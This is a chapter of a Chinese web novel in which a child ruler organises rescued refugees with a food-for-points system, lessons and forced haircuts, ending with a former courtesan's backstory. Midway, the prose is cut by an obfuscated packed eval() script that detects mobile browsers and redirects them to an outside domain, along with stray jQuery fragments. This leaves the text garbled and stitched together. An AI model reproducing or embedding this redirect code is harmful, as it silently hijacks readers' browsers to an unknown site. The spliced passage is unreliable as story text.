8.


    吃过早饭,天照却并不急着给许婉等人上课,而是将人都聚齐了,通知所有人。


    “从今日起,你们在我手底下讨生活,会记分。上课认真者记一分,回答问题积极且能至少答对两道题,记两分,训练劳作勤奋刻苦,不曾扰乱队伍纪律者,记一分,不抢食、不浪费食物、饭前便后洗手、不随地如厕,再记一分。”


    “第一日满足五分的人,第二日不但可以吃到全部的食物,还能再多得一枚鸡蛋。满足四分者,方可吃到全部食物。只得三分者,要扣一顿食物,得两分者,要扣两顿食物,得一分者,饿一日,一分都没有的……”


    天照那张稚嫩严肃的脸上竟露出个笑,轻飘飘扔出两个字:“诛杀。”


    流民们听得云里雾里,到最后也只记住了“杀”这个字眼。


    虽说天照看起来是个普普通通的女童,可此刻没有人敢在她面前放肆,想到她昨日杀人的果断,一时都噤若寒蝉,有人甚至双股战战,好像下一秒就要被诛杀了。


    天照让许婉过来:“你来和他们解释。”


    对着许婉,这些流民终于胆子大了些。等许婉用温和的语气将天照的话又重复一遍后,有人敢问了。


    “许管事,我们一把年纪了还要上课吗,我们记性都不如孩童了,只怕夫子教的东西都学不会啊。”


    这话问到了众人心坎里,人人都心有戚戚地点头。


    许婉:“放心,不会很难的,况且,就算实在答不出,保持课堂纪律,好好听,也能得一分,劳作训练吃饭都遵守天照大人定下的规矩,也能再得两分,只要有两分,就够你每日吃一顿了。大家若是害怕,今日尽可一试,今日不算分,也能吃到三餐。”


    又有人问:“那若是实在做不到……能离开吗?”


    许婉也笑了笑:“实在做不到,那就只有去死了。”


    众人哗然,却又听许婉道:“去当流民也是死,天照大人都已经给了你们机会,只要你们肯努力,就能吃饱喝足,你们却还要去当受苦受难的流民,那还不如由天照大人帮你们早日解脱。”


    “许管事说的对,”沉默中,还是刘三丫先扬声道,“难道今日早食不好吃吗,大家没吃饱吗,只要努力得到三分,就能至少饱餐一顿,如今去了哪里能有这样的好事?”


    “对,对啊。”


    “说的也对。”


    “咱们如今也无处可去,至少在这里还能有口饭吃……”


    流民回过神来,终于不再当哑巴,反而积极主动,问天照许婉何时上课。


    天照这才让许婉发下木牌。


    这木牌是宠物铭牌,巴掌大,天照在中控台制作的时候便对照登记册输入了他们的名字,现在可以叫名发放。


    届时每完成一项任务,由老师用毛笔在背后画正字便可。


    有了狗牌,今日便可上课了。


    、


    早上的课让林护院江三等家丁备受折磨。只有许婉,听得两眼炯炯有神。


    她本来就基础不错,那些缺胳臂少腿的字在女夫子带给她欣赏的书法中也略有见过,只是那些啊哦鹅的奇怪字母实在让人摸不着头脑,不像是汉人文化。


    还有数学,一翻开书就让她升起极大的兴趣,她从未见过这样的简便数字,这要让她父兄看见了,一定会立马爱上。不过这些简便数字也有不便之处,那就是账本容易被人改动造假。


    连铅笔她都能很快掌握,还觉得比毛笔更方便,只是写出来的东西也容易被人动手脚,但若只是用作学习工具,她感觉能让人更快掌握写字,着实是个好东西。


    天照也不强求林护院等人,给许婉上完课,对她道:“你记得留意流民中擅学和有基础的人,如果学得好,可带她们早上过来上课,由我亲自教授。”


    又对林护院江三等人道:“你们跟不上我的进度,以后就去听上午许管事的课,她会教得慢些。”


    听到那些流民喊许婉管事,天照索性给正名了。


    又道:“早上的时间你们也别闲着,带着那些流民巡山挖草药或者野菜。”


    一是巡山可以锻炼身体,二是,流民中有擅采药的人,刚好可以为她备药种。


    、


    这一天,流民们过得无比充实,始终有种不在人间的错觉。


    中午竟然真的是满满一大碗米饭,不够甚至可以再加。


    菜只有一道番茄炒鸡蛋是荤菜,另两道都是素菜,一道炒土豆丝,一道炒萝卜丝。番茄和土豆都是从未听过的食物,但吃起来味道却不错,尤其是番茄,和鸡蛋一炒,是别样的咸酸风味。


    晚上,孩子们都被天照带到了另一桌。


    天照仔细看过登记册。


    两脚羊中,以年幼女童为多,足足有十一个。柔弱妇人、女子次之,共有七个,最后是四个男童。其中那十一个女童,有九个是孤儿,被抢作人羊时,父母要么被山匪砍死,要么遗弃逃跑。而剩下那两个女童,还是被亲属主动献上。


    晚上的食物和早上一样,只粥里多了一些青菜碎、紫菜碎——有些流民明明骨瘦如柴,脖子却粗大如老树桩。紫菜是天照放在海里的蟹笼捞到的海藻,吃了可以防治大脖子病。


    天照还让刘三丫给孩子的粥里加了虾和螺肉。蟹笼只要多放几个,每日都有所出,堆积在那里,天照一个人也吃不过来,有些水货再过个几天都该过期了,只做肥料可惜,变着花样给这些孩子加粥里就不错。


    打小养好了身体,长大也能更强壮。


    刘三丫在旁看得抹泪,对这些孩子道:“还不快跪下谢过仙人,此番能遇仙人,吃到这样神仙食物,仙人对你们可算是再造之恩啊,以后一定要好好服侍仙人。”


    许婉在旁道:“是效忠大人。”


    她说完看了眼天照,见她没有反驳,知道自己说对了。


    在刘三丫的指点下,这群孩子给天照磕了三个响头,鲜虾粥入肚肠,也将效忠大人四个字铭记于心。


    天照叮嘱了一句:“若是吃了有身体不适的,以后就喝蛋花粥。”


    、


    经历过第一天试课,大家都发现拿到两分并不难,甚至只要注意些,三分也完全没问题。


    上课即便听不懂,只要抬头挺胸听了,一分便能到手,其他任务,不过是劳作训练努力些,这些他们自然擅长,吃饭如厕再讲究些,又是一分,翌日两餐便能到手。以山上的条件,能吃到两餐,已经远比他们天灾前生活优渥了。


    这下再没人心里嘀咕着跑了,甚至死心塌地追随天照大人,还不禁感慨,神仙就是神仙,这要是地主老爷,他们就是累死累活,一日赚的都不够这山上的小半顿。


    、


    第二次上课,其他家丁都带着流民去巡山了,林护院和江三却留了下来。


    这堂课,林护院勉强跟上,江三却学得抓耳挠腮,即便认真听了,面对抽问也束手无策。


    天照直接点名:“江三,学不会不必勉强,你更适合由许管事教导,明天开始就去上午的课堂吧。”


    江三只能无奈答应。


    但他也知道,自己没能强行留下,以后也只会越落越远。


    许婉则带了两名女子,一名男童进了早上的课堂。


    两名女子,一名叫葛裘,十四岁,是小地主的女儿,有一点基础。另一名女子和那男童则是姐弟,一个十三岁,一个九岁,叫林怀柔林弈鸣。林家在苑县开了家小医馆,林父是大夫,只是起义军进城的时候被砍死了。家里存粮不多,母亲早亡,没了庇护,姐弟俩被迫跟着兄嫂流亡,想来找柳州的大伯,却没想遭遇山匪,兄长亦被砍死,姐弟和嫂子成了两脚羊。


    嫂子目不识丁,只是擅长刺绣。


    天照问林怀柔:“你们可擅长医术?”


    林怀柔:“父亲教过一些,但兄长更擅长。”


    她是迟早要嫁出去的,父亲自然不会用心教她,可惜兄长也已经被山匪砍死了。


    至于弟弟,两岁擅学,被父亲视若珍宝,费尽心思改籍,就是想要培养弟弟科举,奈何……


    、


    流民们在山中安安分分住了七天,终于养出了些肉,腰背都挺直了些。


    这日刚好逢五,休沐,不上课、不劳作,要清扫山寨,洗浴自身。


    一群人闹闹哄哄地凑到一起,等刘三丫带着两个妇人举着剪刀要给大家剪头发的时候,终于有人忍不住抗议了。


    “我不剪,就是杀了我也不剪。”女人挪到一旁树桩上侧身坐着,暗自抹泪。


    一旁有男人向刘三丫求情,嬉皮笑脸:“她不剪就不剪嘛,剪了她头发和剪了她命根子有什么区别。”


    刘三丫瞪他一眼:“这可不是我能决定的,许管事说了,每个人都要剪,这会儿剪了,等天冷了就能长出来了。”


    女人又袅娜地走过来,对刘三丫道:“可那许管事林护院不也没剪,不是说有什么肥皂吗,洗干净不就好了?”


    刘三丫往一旁退了退,道:“那是因为许管事她们身上没虱子,只要是没虱子,衣着干净的,大人都特许不剪。”


    “难道那肥皂洗不干净?那可是仙人赐下的东西。刘婶子,你就放过我吧,我保证,我能用那肥皂洗得干干净净的。”女人一看她退了一步就知自己被嫌弃了,却也面色不变,习以为常地露出讨好的笑,眼睫上挂着泪,一副楚楚可怜的模样谄媚着道。


    刘三丫极为看不惯她这样故作姿态,若不是知道大人喜静,又讲规矩,她怕是要拿出乡下泼妇骂街的气势来,将她骂个狗血淋头。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563338|171416||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她也笑了笑:“我说了,我说的不算,你剪也要剪,不剪也要剪。”


    女人到底还是被按到座位上,一头齐腰的头发被一刀两断。


    刘三丫也不讲究手法,剪到齐耳的位置,掉下来的头发都让人扫进篝火堆里。


    眼见养了几年的头发粘了尘土,在火里化作飞灰,脖子脑袋都空空荡荡,又轻飘飘,女人心里仿佛也空了一截,终于忍不住掩面痛哭出声。


    “怎么了?”林护院陪着天照从深山采药回来,看到这一幕愣了一下。


    女人听到声音,连忙擦了擦脸,看到林护院双眸一亮,像是想说什么,又瞥到一旁天照,忙正色,向天照福了福身:“大人。”


    接着,她又看到天照身后的许婉,竟是毫不客气地翻了个白眼。


    天照将她神态尽收眼底。


    上山这么久,还是头一次看到这么生动活泼的人,这让天照来了些兴致,道:“你哭什么?”


    女人眼泪还未干,一副欲言又止的模样。


    天照:“想说什么就说,特许你畅所欲言,就是骂我,这次也绝不罚你。”


    女人忙跪下道:“大人,您供我们住,供我们吃,让我们过上神仙日子,奴家哪儿敢骂您,为您当牛做马都来不及,只是,就算奴家甘为大人脚踏,也怕奴家这副肮脏的身子脏了大人的鞋底。”


    天照:“你叫什么名字?”


    “奴家原名李蓉,花名芙蓉。”


    “你是柳州花月坊的妓女。”


    李蓉没想到天照如此直白,脸色一变,却不敢说什么,只有无地自容趴伏在地。


    她不知道自己身体正微微颤抖,如风中残柳,可怜又无助。


    天照留意到人群中有几个男人都不自觉露出怜惜的神情,却有更多人都面露嫌恶,离得近的,还要往后退两步。


    天照却像是看不出李蓉的难堪,又问她:“你是如何成为妓女的?”


    李蓉没想到只是剪个头发,就要被这么撕了衣服赤裸裸地扔在太阳底下,就算她是个妓女,她也有自己的底线与坚持。她后悔了,那头发剪了就剪了吧,反正如今都回不去花月坊了,她也不乐意回去,以后找个愿意接盘的,就这么嫁了,当个清白农妇也挺好。


    她这么想着,却听天照又问了一遍,这次语气更严肃了两分。


    知道不能不回,李蓉只好咬着唇道:“回大人,奴家父亲曾为州署一吏目,为了讨好州同知秦大人,将奴家送给秦大人做侍妾,后来秦大人又将奴家赐给一马夫,那马夫喂马的时候不小心被马踢死了,奴家成了寡妇,邻里羞辱,娘家也跟着嫌我恶我,奴家无处可去,索性将自己卖进了窑子。”


    左右都是被骂被欺负,进了窑子还能挣点银子。等真当了妓女,反倒没人骂她了,那些往来的文人骚客,兴致一起,还要为她写几句淫词艳曲,夸她知情识趣。


    “这样看来,当妓女也不是你的错。”


    这样的话,李蓉还是第一次听说,她不免抬眼望向天照,触动地双唇抖动:“大人……”


    妓女是父权压迫下的产物,面前的李蓉是个很典型的例子。


    天照道:“打你生下来是个女子,你在你父亲眼里就是个可供交易的货物,你无法选择自己嫁给谁,无法保证自己独立生活,也没有人教你离了这些供你依靠的男人,你该怎么凭自己生存下去,所以,你将自己卖入青楼,是不得已而为之,这不是你的错。”


    李蓉眼泪夺眶而出,一头重重磕在地上:“奴家多谢大人体谅。”


    她怎么也想不到这世上还有人能真正理解她的心思,或许因为面前的大人同为女子,她更能体会她的心情。


    这是不是意味着大人并不嫌弃她,那她从此以后也能为大人做事?


    李蓉又重重抹了把眼泪,抬起头:“大人,奴家想进您早上的课堂,听您上课。”


    不等天照回应,她又道:“许管事教的东西,奴家都能跟上,奴家本来也有一些基础,自幼便熟读女诫。若是大人不嫌弃,奴家必勤学苦读,为大人肝脑涂地。”


    她说着还瞥了眼许婉,道:“奴家也曾向许管事自荐过,只是许管事没同意。”


    她那时还真以为是大人嫌弃她。


    她这一生就没过过好日子,前半生不是妓女也在被男人玩弄,当个妓女,被那商户之子带到郊外,还要被山贼掳来这叫天天不应的山寨,本以为要不了多久就该在无尽的折辱中麻木地死去,好不容易盼来了转机,以为自己终于能跟着仙人摆脱过去,可要是仙人也嫌弃她,那她还不如死了算了。


    可现在看来,面前的幼童果然是仙童,普度众生,岂会因她迫不得已的遭遇而怪罪于她。真正的仙人只会涤清她一身的罪孽,将她从泥沼中带出来。